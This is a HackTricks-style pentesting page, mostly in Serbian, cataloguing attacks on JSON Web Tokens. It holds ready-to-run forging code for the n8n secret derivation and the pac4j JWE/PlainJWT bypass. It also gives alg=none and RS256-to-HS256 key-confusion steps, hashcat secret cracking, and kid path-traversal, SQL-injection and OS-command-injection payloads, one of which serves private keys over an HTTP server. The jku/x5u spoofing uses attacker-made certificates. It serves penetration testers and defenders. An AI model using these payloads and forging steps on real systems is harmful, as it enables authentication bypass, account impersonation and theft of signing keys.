JWT Vulnerabilities (Json Web Tokens)
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.
Deo ovog posta zasnovan je na sjajnom postu: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor sjajnog alata za pentesting JWTs https://github.com/ticarpi/jwt_tool
Quick Wins
Pokreni jwt_tool sa modom All Tests! i čekaj zelene linije
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Ako budete imali sreće, alat će pronaći neki slučaj gde web aplikacija neispravno proverava JWT:
.png)
Zatim možete potražiti zahtev u svom proxyju ili dump-ovati korišćeni JWT za taj zahtev pomoću jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Takođe možete koristiti Burp Extension SignSaboteur za pokretanje JWT napada iz Burp-a.
Praktični JWT assessment workflow
- Scope the session control: Izaberite zahtev specifičan za korisnika (npr. profil, naplata). Uklanjajte cookies/headers jedan po jedan dok zahtev ne bude odbijen kako biste izolovali koji token(i) zaista kontrolišu authorization.
- Locate JWTs in traffic: Često se nalaze u
Authorization: Bearer <JWT>, ali se pojavljuju i u custom headers ili cookies. Ako ih Burp ne ističe, koristite Target → Site map → Engagement tools → Search sa regex obrascima kao što su: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Koristite Burp JWT Editor ili
python3 jwt_tool.py <JWT>da pročitate header/payload. Zabeležitealg,exp/token lifetime, i authn/authz-driving claims (role,id,username,email, itd.). - Signature enforcement sanity check: Izmenite ili obrišite nekoliko bajtova u signature delu i ponovo pošaljite zahtev. Ako se prihvati, to znači da signature validacija nedostaje i možete direktno menjati payload claims.
- Goal: Izmenite payload claims da biste eskalirali privilegije; svaki napad ispod ima za cilj da natera server da prihvati izmenjen payload zloupotrebom slabog verification-a, slabih secret-a ili nesigurnog izbora ključa.
Izmenite podatke bez menjanja bilo čega
Možete jednostavno izmeniti podatke tako što ostavite signature kakav jeste i proverite da li server proverava signature. Pokušajte, na primer, da promenite svoje korisničko ime u “admin”.
Is the token checked?
Da biste proverili da li se JWT signature verifikuje:
- Poruka o grešci sugeriše da je verifikacija u toku; osetljivi detalji u verbose greškama treba da se pregledaju.
- Promena na vraćenoj stranici takođe ukazuje na verifikaciju.
- Nema promene sugeriše da nema verifikacije; tada treba eksperimentisati sa izmenom payload claims.
Origin
Važno je utvrditi da li je token generisan server-side ili client-side pregledom istorije zahteva u proxy-ju.
- Tokeni prvi put viđeni sa client side sugerišu da bi key mogao biti izložen client-side kodu, što zahteva dalje ispitivanje.
- Tokeni koji potiču server-side ukazuju na bezbedan proces.
Duration
Proverite da li token traje duže od 24h… možda nikad ne ističe. Ako postoji “exp” filed, proverite da li server ispravno obrađuje to.
Brute-force HMAC secret
Ako header koristi HS256, sačuvajte token u fajl i pokušajte offline cracking:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Jednom kada se tajna povrati, učitaj je kao simetrički ključ u Burp JWT Editor i ponovo potpiši izmenjene claims.
Izvedi JWT tajne iz leakovanih config + DB podataka
Ako arbitrary file read (ili backup leak) otkrije i application encryption material i user records, ponekad možeš rekonstruisati JWT signing secret i forge-ovati session cookies bez poznavanja bilo kojih plaintext lozinki. Primer obrasca primećenog u workflow automation stack-ovima:
- Leak-uj app key (npr.
encryptionKey) iz config fajla. - Leak-uj user tabelu da dobiješ
email,password_hashiuser_id. - Izvedi signing secret iz ključa, zatim izvedi per-user hash očekivan u JWT payload-u:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Ubacite potpisani token u session cookie (npr.
n8n-auth) da biste se predstavili kao korisnik/admin nalog čak i ako je password hash salted.
Izmenite algorithm na None
Podesite algorithm koji se koristi na “None” i uklonite deo sa potpisom.
Koristite Burp ekstenziju “JSON Web Token” da pokušate ovu vulnerability i da menjate različite vrednosti unutar JWT-a (pošaljite request u Repeater i u tabu “JSON Web Token” možete menjati vrednosti tokena. Takođe možete izabrati da vrednost polja “Alg” postavite na “None”).
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
Neki stackovi očekuju signed inner JWT umotan unutar encrypted JWE. U ranjivim pac4j-jwt verzijama (pre 4.5.9, 5.7.9 i 6.3.3), authenticator dekriptuje JWE, pokušava da parsira payload kao signed JWT, i verifikuje signature samo ako ta konverzija uspe. Ako je dekriptovani payload PlainJWT (alg=none), toSignedJWT() vraća null i putanja za verifikaciju signature se preskače.
- Pre-reqs:
- Application prihvata JWE bearer tokens
- Server public key je izložen (najčešće preko JWKS kao što su
/.well-known/jwks.jsonili/api/auth/jwks) - Authorization zavisi od claims pod kontrolom napadača kao što su
sub,role,groupsiliscope - Impact: forge-ujte encrypted token za bilo kog korisnika/role koristeći samo public key
Praktične provere:
- Istražite frontend / API docs za tragove kao što su
RSA-OAEP-256,A128GCM/A256GCM,jwks, ili komentare koji kažu “inner JWT is signed”. - Preuzmite JWKS i importujte RSA key iz
n/e. - Napravite inner token ručno kao
base64url(header) + "." + base64url(payload) + "."tako da signature bude prazan. - Encryptujte taj plaintext JWT kao JWE koristeći izloženi public key i replay-ujte ga kao bearer token.
Minimal PlainJWT construction:
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
Enkriptuj to u compact JWE sa RSA javnim ključem iz JWKS:
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Napomene:
- Ako tvoja JWT biblioteka odbija da emituje
alg=none, generiši compact token ručno kao što je gore prikazano. encvrednost mora da odgovara jednoj od onih koje meta prihvata; frontend komentari i legitimni tokeni to često otkrivaju.- U SPAs, proveri da li je bearer token skladišten u
sessionStorage,localStorage, ili u JS-accessible cookie; ubacivanje falsifikovanog tokena tamo je često dovoljno da brzo potvrdiš bypass.
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Algoritam HS256 koristi secret key za potpisivanje i verifikaciju svake poruke.
Algoritam RS256 koristi private key za potpisivanje poruke i koristi public key za autentikaciju.
Ako promeniš algoritam sa RS256 na HS256, back end kod koristi public key kao secret key, a zatim koristi HS256 algoritam da verifikuje signature.
Zatim, koristeći public key i menjajući RS256 u HS256, mogli bismo da kreiramo validan signature. Možeš da preuzmeš certificate web servera izvršavanjem ovog:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Koristeći Burp JWT Editor, importuj RSA public key (iz /.well-known/jwks.json ili PEM) i pokreni Attack → HMAC Key Confusion Attack da automatizuješ HS256 ponovno potpisivanje.
New public key inside the header
Napadač ubacuje novi key u header tokena i server koristi ovaj novi key za verifikaciju signature (CVE-2018-0114).
Ovo može da se uradi pomoću “JSON Web Tokens” Burp ekstenzije.
(Pošalji request u Repeater, unutar JSON Web Token taba izaberi “CVE-2018-0114” i pošalji request).
JWKS Spoofing
Instrukcije opisuju metodu za procenu bezbednosti JWT tokena, posebno onih koji koriste “jku” header claim. Ovaj claim treba da vodi ka JWKS (JSON Web Key Set) fajlu koji sadrži public key neophodan za verifikaciju tokena.
-
Assessing Tokens with “jku” Header:
-
Proveri URL “jku” claim-a da bi se uverio da vodi do odgovarajućeg JWKS fajla.
-
Izmeni “jku” vrednost tokena tako da usmerava ka kontrolisanom web servisu, omogućavajući posmatranje saobraćaja.
-
Monitoring for HTTP Interaction:
-
Posmatranje HTTP requestova ka tvom specificiranom URL-u ukazuje na pokušaje servera da preuzme keys sa tvog prosleđenog linka.
-
Kada koristiš
jwt_toolza ovaj proces, ključno je da ažurirašjwtconf.inifajl sa svojom JWKS lokacijom kako bi testiranje bilo lakše. -
Command for
jwt_tool: -
Izvrši sledeću komandu da simuliraš scenario sa
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
Opcioni header claim poznat kao kid koristi se za identifikaciju specifičnog key-ja, što postaje posebno važno u okruženjima gde postoji više keys za verifikaciju token signature. Ovaj claim pomaže u izboru odgovarajućeg key-ja za verifikaciju signature tokena.
Revealing Key through “kid”
Kada je kid claim prisutan u headeru, preporučuje se pretraga web direktorijuma za odgovarajući fajl ili njegove varijacije. Na primer, ako je "kid":"key/12345" navedeno, fajlovi /key/12345 i /key/12345.pem treba da se potraže u web root-u.
Path Traversal with “kid”
kid claim se takođe može zloupotrebiti za kretanje kroz file system, što potencijalno omogućava izbor proizvoljnog fajla. Moguće je testirati konekciju ili izvršiti Server-Side Request Forgery (SSRF) napade izmenom kid vrednosti kako bi se ciljali određeni fajlovi ili servisi. Menjanje JWT-a da bi se promenila kid vrednost uz zadržavanje originalne signature može se uraditi pomoću -T flag-a u jwt_tool, kao što je prikazano ispod:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Ciljanjem fajlova sa predvidljivim sadržajem, moguće je falsifikovati validan JWT. Na primer, fajl /proc/sys/kernel/randomize_va_space u Linux sistemima, za koji se zna da sadrži vrednost 2, može se koristiti u kid parametru sa 2 kao simetričnom lozinkom za generisanje JWT.
Praktičan obrazac za krhko učitavanje ključa sa fajl sistema je da se generiše HS256 ključ sa JWK k postavljenim na AA==, kid se postavi na traversal kao ../../../../../../../dev/null, i token se ponovo potpiše—neke implementacije tretiraju prazan fajl kao validan HMAC secret i prihvatiće falsifikovane tokene.
SQL Injection preko “kid”
Ako se sadržaj kid claim-a koristi za preuzimanje lozinke iz baze podataka, SQL injection može biti omogućena izmenom kid payload-a. Primer payload-a koji koristi SQL injection da izmeni proces potpisivanja JWT-a uključuje:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Ova izmena forsira upotrebu poznatog tajnog ključa, ATTACKER, za JWT potpisivanje.
OS Injection kroz “kid”
Scenario u kojem kid parametar određuje putanju do fajla korišćenu u kontekstu izvršavanja komandi može dovesti do Remote Code Execution (RCE) ranjivosti. Ubrizgavanjem komandi u kid parametar, moguće je otkriti private keys. Primer payload-a za postizanje RCE i otkrivanje ključa je:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u i jku
jku
jku znači JWK Set URL.
Ako token koristi “jku” Header claim, onda proverite dati URL. Ovo bi trebalo da pokazuje na URL koji sadrži JWKS fajl sa Public Key za verifikaciju tokena. Izmenite token tako da jku vrednost pokazuje na web servis čiji saobraćaj možete da pratite.
Prvo treba da napravite novi sertifikat sa novim private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. In order to create a valid jku certificate you can download the original one and change the needed parameters.
You can obtain the parameters “e” and “n” from a public certificate using:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
If verifier preuzima materijal ključa udaljeno, ubaci Burp Collaborator URL u jku/x5u koristeći JWT Editor → Attack → Embed Collaborator payload. Svaki callback potvrđuje SSRF-style key retrieval; zatim hostuj svoj JWKS/PEM na tom URL-u i ponovo potpiši svojim private key-em tako da servis validira attacker-minted tokene.
x5u
X.509 URL. URI koji pokazuje na skup X.509 (standard formata sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Sledeći sertifikati svaki potpisuju prethodni, čime se završava certificate chain. X.509 je definisan u RFC 52807 . Transport security je potreban za prenos sertifikata.
Pokušaj da promeniš ovaj header na URL pod tvojom kontrolom i proveri da li je primljen neki request. U tom slučaju mogao bi da tamper-uješ JWT.
Da bi forge-ovao novi token koristeći sertifikat kojim ti upravljaš, treba da kreiraš sertifikat i izdvojiš public i private keys:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then you can use for example jwt.io da kreiraš novi JWT sa kreiranim public i private keys i usmeravanjem parametra x5u na .crt certificate koji je kreiran.
.png)
Možeš takođe zloupotrebiti obe ove vulns za SSRFs.
x5c
Ovaj parametar može da sadrži certificate u base64:
.png)
Ako napadač generiše self-signed certificate i kreira forged token koristeći odgovarajući private key i zameni vrednost parametra “x5c” sa novogenerisanim certificate-om i izmeni ostale parametre, odnosno n, e i x5t, onda će u suštini forged token biti prihvaćen od strane servera.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Embedded Public Key (CVE-2018-0114)
Ako JWT ima ugrađen javni ključ kao u sledećem scenariju:
.png)
Koristeći sledeći nodejs script moguće je generisati javni ključ iz tih podataka:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Moguće je generisati novi private/public key, ugraditi novi public key unutar tokena i koristiti ga za generisanje novog signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Možete dobiti “n” i “e” koristeći ovaj nodejs script:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Na kraju, koristeći public i private key i nove vrednosti “n” i “e” možete koristiti jwt.io da forge-ujete novi validan JWT sa bilo kakvim informacijama.
ES256: Revealing the private key with same nonce
Ako neke aplikacije koriste ES256 i koriste isti nonce za generisanje dva jwts, private key može biti restored.
Evo jednog primera: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
JTI (JWT ID) claim pruža jedinstveni identifikator za JWT Token. Može se koristiti da se spreči replay tokena.
Međutim, zamislite situaciju u kojoj je maksimalna dužina ID-a 4 (0001-9999). Request 0001 i 10001 će koristiti isti ID. Dakle, ako backend incrementig ID na svakom request-u, možete zloupotrebiti ovo da replay-ujete request (uz potrebu da pošaljete 10000 request-a između svakog uspešnog replay-a).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
Primećeno je da se neke web aplikacije oslanjaju na trusted JWT service za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi gde je token, generisan za jednog clienta od strane JWT service-a, bio accepted od drugog clienta istog JWT service-a. Ako se primeti izdavanje ili obnavljanje JWT-a putem third-party service-a, treba istražiti mogućnost prijavljivanja na nalog drugog clienta tog servisa koristeći isto username/email. Zatim treba pokušati replay obtained token-a u request-u ka target-u da bi se videlo da li je accepted.
- Kritičan problem može biti indikovan accepted-jem vašeg tokena, što potencijalno omogućava spoofing naloga bilo kog user-a. Međutim, treba napomenuti da je možda potrebna dozvola za šire testing, ako se prijavljujete na third-party aplikaciju, jer to može ući u legal grey area.
Expiry Check of Tokens
Expiry tokena proverava se pomoću “exp” Payload claim-a. Pošto se JWT-ovi često koriste bez session informacija, potreban je pažljiv tretman. U mnogim slučajevima, capture i replay JWT-a drugog user-a može omogućiti impersonation tog user-a. JWT RFC preporučuje ublažavanje JWT replay attacks korišćenjem “exp” claim-a za postavljanje vremena isteka tokena. Takođe, ključno je da aplikacija implementira odgovarajuće provere kako bi obezbedila obradu ove vrednosti i odbacivanje expired tokena. Ako token uključuje “exp” claim i vremenska ograničenja testiranja dozvoljavaju, preporučuje se da se token sačuva i replay-uje nakon što vreme isteka prođe. Sadržaj tokena, uključujući parsing timestamp-a i proveru isteka (timestamp u UTC), može se pročitati pomoću jwt_tool opcije -R.
- Može postojati security risk ako aplikacija i dalje validira token, jer to može značiti da token nikada ne može isteći.
Tools
- jwt_tool – decoding, claim/header tampering, offline secret cracking (
-C) i semi-automated attack modes (-M at). - Burp JWT Editor – decode/re-sign u Repeater-u, generate custom keys, i pokreće built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– GPU-accelerated HS256 secret cracking nakon eksportovanja JWT-ova u wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.


